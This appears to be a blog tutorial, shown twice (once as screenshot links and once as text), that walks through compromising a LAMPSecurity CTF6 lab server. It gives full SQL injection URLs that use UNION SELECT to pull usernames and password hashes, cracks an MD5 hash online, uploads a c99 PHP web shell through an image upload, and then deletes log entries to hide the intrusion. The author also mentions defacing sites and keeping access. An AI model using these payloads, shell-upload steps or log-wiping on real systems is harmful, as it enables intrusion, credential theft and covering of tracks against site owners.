Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vagMB7ye_RSga1kfRFKbHPqpwxQD0rmMOxmZYTOtDPgvWG66ljl-Hj5vJd-OSwbULSzfqXR9V2pgzT5d_vmrYql--trwG9FFGuhPp6dYhNw-Qld6Jb9AboQ5KjzoED4qOoWYjB-TRsR5mN3CiUzw8TADVjkKqwe-akzQRN3wQdPcrK=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tKSXxPHEKgb1QHBCSzP6aYjTQSxNHPt_QMO3tyUPA1EioOzJeZQnvvcrnz7a-rS-JVnBLAuXYg6zBIYxL-suZDIbukZXSbMcRELl5Xmtjexcx4FveovQcvuw_3-flN4rGUMFfBUkrM2dbsBHYfRkx23hE-89Z9PJUeFVdQdNniYvbhlQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uiwxY3lfzPYK3DrPxFGj-7kC9lFPPPpBral0ABN_MJr_RbGQHExlEOmdJ9UAI901Lgq1jNTRYtDUOfD31mok3r_bwj2E2gn2L4amrRUjHzt4E4eQ7U9XKQHuzTgEg26MiYZ_ec2Uv-Og77GBw1_tJQkBUF0mhhw9JShAGuPoldcEWVrw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vQ38t9aEAMZA1hO6gVtSzM0yrCTU_p26Qt94GCUmDefM1HGl3IGL57AyfFfAwNeOpx1xVXBnkCsEn_0Gsrq83SVwBLNnddn1wdKcUQdz1PZRUJMAJgzLm87Djaos4G7_RE0Mg3PTPL0ZbFB7WRV18og1a7lUQrxEyViXHZ4hvlGrJckg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vuRbXye4RQUU314eqQPxf9eG-j4VjnRklkw7SqoS2Df3lrr2BmGpNOhpjdUp6QV86DSuMIVbnZiBI1DYpH-oZ0NMqC3viRZqMGBBJAdrvF0PrP79ZYhRuLjUfXrEckWFIrCp0WAFwmJBjLNpUysPFXOOxcaBSv5SMio_hyYvEwak_U5A=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s4_narkyP8-qvPKPo-aiB9z-eZzjV21lZk2P3-c5zC4FM8AYtTOduX2b8lMuy4TPmndzGUusndn0A8jUkQx2-pdrhnJ1lAdugrwGR2l_eZvl6kvN3oL6hfHF5QiEpBWzOurXbk9whhYpm5l6wHH23qOV0MqFGPH_41z2sfsIRlFPuv=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uaDMOcWDGwCWy0GZep1_59-5mjPUwMBFltbFGVyHMkQstDv9e9lAfJUb9FIun5fVqAjyIeB7jF5WtubuEI2x2RJpbILv6k4g5paNWEBK44_mp9bYp_2u9at4hC8o4cZaIg_eTLqmohtxoxfroKVPO-jVY2sEDeDPxOJMHetd-MvaJmcAQ=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKqbslCX1t9yI5DKIJ3H63R5oYBx49S722cLOmCj8ZPWY4mwu02dMhBprrJYDAgtk56wMAHkxgMNp7Mp29_3RXgR6VbJ2mQGBWWyMSlJF_mQlt_xiCN96ddZ19CTg8IIVy9Em50y1KZNU2mHQY0_zPfRh5rSlOS0x1jnyLODNkrWDydFQ=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tM6_-oOwQTVPGP-yH_mDiM8e2BoI5LMAD8APyLd_KCR-cJHQ6RlWbQpAB0iP9wz3eWNCKrfVqOfneUu26R_XxrGbzMnWv3I1Z6GWgwev4mpxpaOxlaEObUH6szOS14sPvQYxthkqKxOLcNzLQQDFDECvTxrMODNtjZL98wXw1EV2maj7E=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vLaFst06iGAW8HG9yjRM9zwbD9EN6WupbZVqei6_DD6EpXTr-q9gbdKegFLewfOCtIkeAPDg6dAk4IqWYc7c_qbY0zeP_W4fHbgJdhVBzOpxTEFCWaOh6tfLBwZcAnYzqbv4IM_1MIGWLtqHMPN8wceCNEzf1JeDKPCB-Pkyaeu9xR0oU=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t7cGJXjoUu_k76xHbcKSmlzc8C6itVKarr4n7HkOjnGGTAJmsLbqwgCOh8hUkuK0cxLmED1UYUUf1cl3YJQVvxhrXA7PNnGdwRrs3R_j6ZqGkI9Ik5KwdVOIdTb1miuSFGmFhjojiXrJfFOKepjGYfOgGxARhYrFFg2jmLXAIl5GUQ-A=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sC0PF6wrznmF8rpi-lPkGZ0QTFDHNwaHzjmLi6UCY7N6iGILJWYwz6Q-I3Bo9aO9MpOH_uYLxDwaUTUFaTZ6-QDej6dJKDpM8AyEWItTtekG5Mc0iEsn6r4SgusodjdChlKnNP2jXei5L6XVeJeWlv5dhr1t9IYvMSfVRarLHjotszZ3s=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tCZxnTP4xhoPr-9PkOdU-0yZPNFMSzEueKJKbCSZ-jkxaXMHsYolRlC5tUtxR7duVkxZRaNAzpAWr44i86bHg4RL0YpPaIMBlKCuvEYCmZvm7f_8L92l4L3IJVqaxWjEF5FTzeE1Gimg_yUAwbC9yfGvV_Hz02Z_obh1ShsUNSh7MNAcc=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHcM9O3wkdt6memfvBuJNzAPZ5JQoW5_VAaoMbxKWygu2SIIrHLhxMVkJKxKYgi7sjbZREdPgjD7qi-wqRtLf6g8FQuAQdEWM4-SgEoeao7PkUM9U03LjdjDYdZmo8zja6dO-WvaYs-QsNbp87v1S9BkbrrZUlBgXyuAB4Mp01uVpRhA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uklF1ZvTVwZMqmpeR_YkjZ91jwDNHKGsJgTctDIUCzhAADPUeCG2_FUfDOT6fANoJ-B6ejMFrdAJEwTAmhiJprTfCbZB680tEEpTrx--F_ryDbikV76r-GCvmJzp-BSa5Xzaz5eeZ2R6n3SU3Uspb790NxXh7yc5Vky2wUJh09s8VkTQ=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sU1ZSMcErqygNQC3V7uQhFSh8WV-0_P_i8Mly4CvBUtC1TRYTF3oTOWaM_T5lvkHjjZ5FmjF767Yy3IjCnXpvifxpwYHwX4L49GfbXHW45G9TcbMdTV09WbBMc5C6ruIYE_MFZgX1QWENarBM8KJB54hlkbOhqT7xWziP8hJEaqjaj4HQ=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uMh2Eu7WMD0j0RVcyO1CbzH6plb411FcfjS5dMkImCxI2SU77Pshl6n0w3VA_sIUzIJrcdZ0ZUBp1xcRI0GTpFuTJxvoEBpW8VgoJHNKpj8wmvg_D2jVTwWIftuByDH8Qtn3qruzyqrGscr-IwBjJ8AtEvvXzd9ZY4Ac7wkmBFLRKMQ1k=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vK0NCLgjou-SDpEIb4gmCb3YVvNHJ3oR3e8Fk8MVWFjyvEwhAtBtLuElJR5F3G23gjNAXMq5CUP3UGitFBZqkTTYmx0qOGvO4WWyfnGzZOWs5WiTGdg6tJLbBvQUGCnv7uGgv8fJb6eEpKXy5B5zCOimdf4OfVHwXJqdpf8yDh4cMJNbc=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJw4WYsc0uO9swLa0Klwd7jO78eztAvmp2C6x5BKqOrIUfxvLdRH3aJT6XCnaH2p-ZpbhlKO9W1eBiMf3bOmouE0FH2tq_fac4tHlrSn4qzd9eYa-_n5r3amC4rycYJUOWaMuVNe2IZv6KrZVNRPqeLK3WDBL---0MRR_JahVCIbjKH4E=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vgu2dkdKIRkMlMDD8EyJQOf86JHxLAbRgsvEamlh3xeEn1JWVCRApEXV3fU4aSCsOMVcK6SfMhiE7jRZrtLgIiyVrLPfRnuBx63oQFYLw9dXZQU6KnDY4COhs9l_XhnbX6V0_04QBeKi3JoEQTRk-2Zpni0fHK9R0xbWopKPpOJ_ONmsQ=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgBQkTCv3qePWJv0_Vs6HPAhHNEZCAJAFHYkoC01pZXl4lKn7vyRgm8BUr2c5VVJG880A7kWy7QEON9toCwq_3TBz8XER_56WkH4h6UUK-kWK5RBOT3RRA6Ms0HxxRx_iqANYxY4C11OmExPjH7mwT694afwbIJ2rLheb2xiBqUoklKzM=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9-VnK_uIboLq2ZSBrpY6T5z1kTtxr-2vbU8eAuRLUl5eXohBr3EVCvTrZbxDByIElRsbY4Wb_O_cqUMs-CuDrWLOhspQP_LYK_AcB7Hs96Mb_T2prP6jzNOMasRCOQr7lhAxCpP4TaHOIDwH_jyD2stL-hf5Y4ewpStYE_3FEL3JVi9k=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ta_vgF6XZ903hz_mzjTBAEs19FxdXgioaswQ8qHvu9jTUaGCiVZuO4k4CMBN2b0x7tBanBYaOh-EFMHF9A3kEXxvVvX7eEMuzP40iVwvy89-H1I1yBhfnFbDK9JuZv2XpT0oT1KXVWAkWzLEmJlvObypzXb9EILWdJFXqamtI3_-qDEU8=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sp0-eTfIwCGTzmkMPFzu49aD58sOUqWLQr3d3RExAbwMN2QRNwpLiBu7OwdAwAyvSm9CGjfE4Yd7i0lAWhvEZkyyLvI67QpQsERBbfN_7t_a21Lu6N-B0PuqeJWaPNiLCzT1P19SO4p5EW4RkQW9VHDJa_U_mciYScZhu-HYPI9Vg1V_A=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uP1BniBsH27LqblDWRo3PjGkE_lfainR10yWXJ4uZOUqBOecWyXeWMfa8S9kGGqzGJDYzBrgf7SKk4nVqYxxZWKX7Jf88SbqxX7oVJ2F0wTGxAsIco5gGiW1h1iBEwSw1Ric9DuwmAkK8BqkOa8M-8vMT9IZHbfvgw7h6RBCxy4CqZJQ=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v0wY_iR_XeQdIjXUK65EH4c4zYIlFgiBJbBu6XnPDjqFPazVIc0gZVbqRNfmUvS57K-aJk5PeJdsmFGa3P6I4xvGpm7gi_t-8Slsv_HHQCR9LLCbITnpoiLIElDVlujVgt76-TWOuIIWnJl4wRTq4cr-wFZYUd_hCDbMkH_8yh9RKaPA=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vYHKFbtn8OsD6dSxxTG3z5HT7-QOVpPFcPCQXpRhSKm8hSzcDQsZ-ZOu2_Pjex8wZk0WYSf4F1R-wG5idyL4x0oU6VRzSkcoIewi_nHRDgugHgd-7DIXjVEZ8zFFLXVAgQ39vZ3UfoxhvN0o7fwXjlRGYTZetDhMoAsdigeF2-f-Lp4mE=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_swQbDb8nfkFvxt57pQAG95YloQ4xTPy5prlHxU4SmvcsfpEoqVSL0SQAGT1m9kBW0r2NqlxLxGbSXQ8MhoEigyaFvf_HOSxS7bXAf_pAmBQYxVqIzPZgJoZCweaPmMxx-jKhJfm1p02uCaka67AvcaVCKdkYCpHoYPx0qv_g9npkwfrsk=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_utOS30Z6hyPBC-QiKTSCOhWFiYKH1sQ8h1Xd7MCaJ1nmXvNNbeAEG1GBa1HDcLzDEBd623KCpSLmUoY4i3-By-7K46PvVPbjvhYjhOUAwBJNcRiWlrgFgDIuHw-S7xin141FcVXoySYdr7mpXr-WrQvemsmYf6ihxmbE0dJMJQ6zBQkQ=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tGBLnGzRAqD7DKmTeZAlqCXFulXkNVCv2Go80nCWLaO0ztUoB3i3wCtGT9Jf96IF0prujx8u_cEHqpNJu7tofjEUoBDpscdKmF9DzCa8mexiZBe-9SsH4zwn_gRcpicMPIJ7YSvMJ0X3ccuVH8vt9yXttoGgZKZkzCQgHy_OSrzCbfwQM=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v_Q_7am9TB2UzTMhKdhTAAEk3IGpD9ZQvRT-b3cftCNTR99V0RcAIUyLu2T9uzmgev_kA1chWt-eBahqSlcgMulMNJBxOP-nHoMfw44au9BgNbfrnn6gYMwl_z8WPUCTrQjTXUptgsh2tKtZdI2MPGdLeJsm9VeqwzX-iO-EY4b40sgc8=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ttPEDN5F61QRpHBgB4tlx5SV416Jv2OxHoSt0riTwUDBSY2NBrQOXUP0BX5YeR4byOuIqHR8iqQ4TAw64tq8ke6PDgaxdco_5WTylmBPLGrfzFYFUfQKY3o8kEmCfCyzk3qGouvK_MblVYjrore2QUrP0dVTtJGOBAhOyJ07TfbiW6Wk8=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sPnUhM5PmYjsgE7i6hRfPr2mYYLvFEC3y_R52aMDBSlpTiLzZqIdDRvL0EABvEudRbD25aYQCaubbew8vHxdGX2b34OSIoGraC2dnzjdrhzE7lEYi2wIAR2WS28B_RwWWyaw6lXNFStAG05GVtDNaJdJOgEOtFgr4JxffpHVqjv1J7bRY=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uNHBNn1AiMcgfgn1rkUVtV2--plE5vLJPRf04YhMvGkkmNEzvZ6at0axjExjExV46FhivEJQJFUXvE-29HvxmxEjB1srpzDIfx0ZItKp0SNgHZapX8Lb8xXiDC7TzhkneWRNfz2xNgA2zwTicvK35_djFJ7qB_AqFNKB_qt_HEOdDaOm8=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ufRhAmVkboviQSi9xPFGJVMXZPHlj4WZ0-lu9AvQVjoLpvIu8tuMP5ZprzLMCLp7cmtQeh04vUt6YgLD6Q8S9bXzsKahDy-koR7WKJhYGqclnfVvqSn2Y9OLweYIKHScGatdEgorEZtlVafP7rc__Ac6aRHKp6ity6oEeUMFmQNvwnbsE=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tNJvF2LDYOqaKneVw9J7Fsim3Mb9jllyREggmMA2R6mqC1uY6AWb1Tx7cg2Kgbb7ymwtMQNhx0Dzm4PEakrUununPNmQXS1pDVRK3_eXg81p4IJTuUNk6PxwloLOdwIbNNALKFuPdPAtF9Wy9yAGCiDS03Ual50kjVgG_X6s4T9sC3S3U=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tj9380TmdG5FY2lSUkU-5J1VB6n_B102l6bI-UPuRrdiAzMUK46ONijTiTPSHRB33c4VbfnyQLlX-4xzHOeYk23fDbIoC8LI-RWs_H0l5TdmgM4rmb5U1XdiIwPXT9rMC1EzqflJYFjo530cKtUGqyQqLgMBFKjp_XuSnInNUquJ2jlQ=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t7m4hz1snFDRK1b44nPILEvPxYstdWfjKGW_yHcJyDgPjrBilLrWA_IIlgiWg2-ZqJA-NQF_LBbqqsq2IeBU_vOrG1s-WV8S2FkB2AfXsr9fbMpEtuw9AJ-nFnDuGYfDFLVF6KBYlzRAAAVesAFH7fF87KdWejqOeN6kS1A8SKInvkchk=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vKCMZWVI6Qws5tRbGBgf--YVVUbNJcowD2F3A2kgUbh8BKmqpVxIe3I9Hr5vca-Xb8P30reNgpZtPShcXH9ZB8kMir6-Fe5XruIwoO9_eI-f0nFCsZ-amm0Hdc2b9Af5R5s9qTXO7n2T6YrzlnW6Hq2Hfi9cFqKfyWgXZMEuVKPEIR7g=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tbYhLVglRhSpso5_bOSW_IPGGJ803nLnrk3dw7XGYm0lQ3ICRJo9h3IbhHUO6-ItsI53AHMkERMHW04ete8ldp1hI8wXJSNz4OtbvLeUj-dgLLmjEcH8WuSHOZbONugrcVz1sU3Cb8vZSckx3AlM7IAyDxV1IiGIYYM-TULFh8XSHqqWs=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tyMOBGnitm6xbHib-3RhmXyNajIoa79XYxzbBII6YrgqqO3gJyDAC1FBmT0o4DCPu_sCgYGsc5qhgL-sezItZ1SSzUsVDjhPpAYVpkg7NMFIii5EnrtRTupMPcs3_S_e15FAxFDDI1B5uslX-5-11DRyrbgJpofxAwwxafPBGXDFzGeLo=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vsJLIiz5qe1RcI0_U1Yz9PYhE3yrMcv8P6l_8MMCpn1IDSb8AZwE_HOGyy1jUMNGEYmLfie-EVdUJGafLvRUKIVSZd3Ws5Yo-mh2mEWUgTnh6ab-4peGTs5TwJPGd2f872u7w0otvHXAfakIO1B81wmIF6g7d5zsojAs6FxuzWKZYbv4g=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjISvLGPgWmjI33hfGQd54gB_ZlRjnTDwm_BLgyscV3hCDTtK2v1I-hj7eiHbL3pntEV6lU59XHVeiMDJnbh3ryijVACCiAQeQNv06-SUP_lL-e9ayYuWahkPlNAmwoaJYjnBhT-gumJ-aRngNcDyb5KrTlnljrHdKf3NKWonWR-6lt-I=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tmCbxCApDXgVQW_Fca6SmOuXt-gHK5u3dI3O-ssm8wqoBlTJvLvaWGTOedNCGV34k3G4_LWZg12lF0G4NXXb896RH4zn4HHzCSf3bqYfRk8A3P-wpvCXExbyOYtUEiF85z2Y_ILYtZBoChcd6hVApzyYcuHXRcuyswMWUls_J7OwcAfA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sL-_MR_balGbHxJ5PitDM-Sx8Xb5ZumeeXHXy8tbvcftt3oRiZGsgrZBYK4GP-y5vn9kHxe1KNJf4nX5sj823EQBoZ4TqJ54hHsEjC7ZtEsdsBI7mdTgDxHBJmHpixzKwRO8HtYwYRq2X-Rg4eZmxseYNu_vVMQrSatncp_HGjbn5H-Zo=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete